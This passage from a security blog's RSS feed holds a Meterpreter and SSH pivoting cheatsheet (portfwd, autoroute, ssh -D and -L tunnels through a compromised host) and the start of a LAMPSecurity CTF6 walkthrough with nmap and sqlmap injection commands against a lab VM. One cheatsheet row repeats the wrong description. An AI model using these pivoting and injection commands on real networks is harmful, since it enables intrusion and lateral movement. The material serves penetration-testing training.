class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/activerecord-3.2.17/lib/active_record/connection_adapters/abstract/connection_pool.rb:129:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;with_connection&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/db.rb:2025:in `report_event&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:222:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;report_event&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:331:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;session_event&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:408:in `block in on_session_output&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:407:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;each&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/framework.rb:407:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;on_session_output&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:183:in `block in method_missing&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:181:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;each&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/event_dispatcher.rb:181:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;method_missing&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/core/session_manager.rb:242:in `block in register&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:271:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;call&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:271:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;print_error&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:436:in `unknown_command&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:411:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;run_single&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/post/meterpreter/ui/console.rb:68:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;block &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;interact&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:190:in `call&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:190:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;run&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/post/meterpreter/ui/console.rb:66:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;interact&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/msf/base/sessions/meterpreter.rb:396:in `_interact&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/interactive.rb:49:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;interact&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/msf/ui/console/command_dispatcher/core.rb:1745:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;cmd_sessions&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:389:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;block in run_single&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;each&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/msf/ui/console/command_dispatcher/exploit.rb:142:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cmd_exploit&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:427:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;run_command&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;each&apos;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/dispatcher_shell.rb:383:in &lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;run_single&lt;span class=&quot;s1&quot;&gt;&apos;&quot;, &quot;/opt/metasploit/apps/pro/msf3/lib/rex/ui/text/shell.rb:200:in `run&apos;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;, &quot;&lt;/span&gt;/opt/metasploit/apps/pro/msf3/msfconsole:148:in &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;main&amp;gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;meterpreter-pivoting-cheatsheet&quot;&gt;Meterpreter Pivoting Cheatsheet&lt;/h2&gt;

&lt;p&gt;Assuming you’ve compromised the target machine and have a meterpreter shell, you can pivot through it by setting up a &lt;strong&gt;meterpreter port forward&lt;/strong&gt;.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
      &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd add –l 3389 –p 3389 –r target-host&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd delete  –l 3389 –p 3389 –r target-host&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd flush&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter delete all port forwards&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;portfwd list&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter list active port forwards&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;run autoroute -s 192.168.15.0/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Use Meterpreters autoroute script to add the route for specified subnet &lt;code&gt;192.168.15.0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;run autoroute -p&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter list all active routes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;route&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter view available networks the compromised host can access&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;route add 192.168.14.0 255.255.255.0 3&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter add route for 192.168.14.0/24 via Session 3.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;route delete 192.168.14.0 255.255.255.0 3&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter delete route for 192.168.14.0/24 via Session 3.&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;route flush&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Meterpreter delete all routes&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Meterpreter Port Forwards are flakey&lt;/h5&gt;
  &lt;p&gt;Meterpreter port forwards can be a bit flakey, also the meterpreter session needs to be remain open.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;In order to connect to the compromised machine you would run:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Connect to RDP via Meterpreter Port Forward&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;rdesktop 127.0.0.1&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h2 id=&quot;pivoting-example-diagrams&quot;&gt;Pivoting Example Diagrams&lt;/h2&gt;

&lt;p&gt;Pivoting can be a bit hard to understand on paper, so here are some diagrams for clarification with the associated commands.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/UVoxUFl.png&quot; alt=&quot;Brace for Wonky Visio Arrows&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;starting-point&quot;&gt;Starting Point&lt;/h3&gt;

&lt;p&gt;You’ll need to have access to a compromised machine on the target network, depending on the compromised machines configuration you may or may not need root.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/zRIqADW.png&quot; alt=&quot;SSH Pivot Example 1: Starting Point&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;routing-traffic-to-the-same-subnet&quot;&gt;Routing Traffic to the Same Subnet&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/TXV6ehn.png&quot; alt=&quot;Pivot Example 2: Routing traffic to the same subnet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;####Example commands&lt;/p&gt;

&lt;h5 id=&quot;ssh-pivoting-using-proxychains&quot;&gt;SSH Pivoting using Proxychains&lt;/h5&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Dynamic SSH Pivoting Command using proxy chains&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ssh -D 127.0.0.1:9050 root@192.168.2.2&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;You could then connect to Target 2’s RDP server using:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Connecting to RDP via Proxychains Dynamic Port Forwarding&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;proxychains rdesktop 192.168.2.3&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h5 id=&quot;ssh-port-forwarding-command&quot;&gt;SSH Port Forwarding Command&lt;/h5&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;RDP SSH Port Forwarding&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;ssh -L 3389:192.168.2.3:3389 user@192.168.2.2&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;You could then connect to Target 2’s RDP server using:&lt;/p&gt;

&lt;section class=&quot;shellbox&quot;&gt;
    &lt;div class=&quot;unit golden-large code&quot;&gt;
      &lt;p class=&quot;title&quot;&gt;Connecting to RDP via SSH Port Forwarding&lt;/p&gt;
      &lt;div class=&quot;shell&quot;&gt;
        &lt;p class=&quot;line&quot;&gt;
          &lt;span class=&quot;prompt&quot;&gt;root&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;path&quot;&gt;~&lt;/span&gt;&lt;span&gt;#&lt;/span&gt;
          &lt;span class=&quot;command&quot;&gt;rdesktop 127.0.0.1&lt;/span&gt;
        &lt;/p&gt;
        &amp;lt;/p&amp;gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/section&gt;

&lt;h3 id=&quot;ssh-and-meterpreter-pivoting&quot;&gt;SSH and Meterpreter Pivoting&lt;/h3&gt;

&lt;p&gt;This example uses SSH pivoting and Meterpreter port forwarding to access machines on subnet 2.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gyylQup.png&quot; alt=&quot;Pivot Example 3: Using SSH and Meterpreter Pivoting to access another subnet&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;example-commands&quot;&gt;Example commands&lt;/h4&gt;

&lt;p&gt;The above commands would be leveraged to reach &lt;strong&gt;Target 2&lt;/strong&gt;, from &lt;strong&gt;Target 2&lt;/strong&gt; to &lt;strong&gt;Target 3&lt;/strong&gt;, meterpreter would be used. Follow the &lt;a href=&quot;https://hacksofdhruv.me/blog/ssh-meterpreter-pivoting-techniques/#meterpreter-pivoting-cheatsheet&quot;&gt;meterpreter portwarding example&lt;/a&gt; above for a MS08-067 example.&lt;/p&gt;

&lt;p&gt;If this was helpfull, click tweet below.&lt;/p&gt;

&lt;p&gt;Enjoy.&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>LAMP Security CTF6 - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/lamp-security-ctf6-walkthrough/</link>
          <pubDate>Mon, 04 Mar 2024 19:40:59 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/lamp-security-ctf6-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#host-service-enumeration&quot; id=&quot;markdown-toc-host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-enumeration&quot; id=&quot;markdown-toc-web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#sqlmap---sql-injection&quot; id=&quot;markdown-toc-sqlmap---sql-injection&quot;&gt;SQLMap - SQL Injection&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-exploitation&quot; id=&quot;markdown-toc-web-application-exploitation&quot;&gt;Web Application Exploitation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The LAMPSecurity project is an effort to produce training and benchmarking
tools that can be used to educate information security professionals and test
products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; madirish2600&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;Dislcaimer: Multiple Entry Points&lt;/h5&gt;
  &lt;p&gt;The LAMPSecurity series is not particularly challenging, for each VM in the series I&apos;ve targeted the &lt;b&gt;web application&lt;/b&gt; as the entry point.&lt;/p&gt;
&lt;/div&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;host-service-enumeration&quot;&gt;Host Service Enumeration&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.131&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 4.3 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.3 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 110&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;pop3&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot pop3d&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 111&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;rpcbind&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 143&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;IMAP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot imapd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 443&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.3 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 621&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 993&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;IMAP SSL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot imapd&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 995&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;POP3 SSL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Dovecot pop3d&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP:3306 &lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;MySQL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;MySQL 5.0.45&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-enumeration&quot;&gt;Web Application Enumeration&lt;/h2&gt;

&lt;p&gt;Inspection of the Web Application indicated it was vulnerable to SQL injection.&lt;/p&gt;

&lt;h2 id=&quot;sqlmap---sql-injection&quot;&gt;SQLMap - SQL Injection&lt;/h2&gt;

&lt;p&gt;SQLMap confirmed &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQL injection&lt;/a&gt;) was possible.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; root:~]# sqlmap &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.221.131/?action=login&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--forms&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--dbs&lt;/span&gt;

available databases &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;5]:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; cms
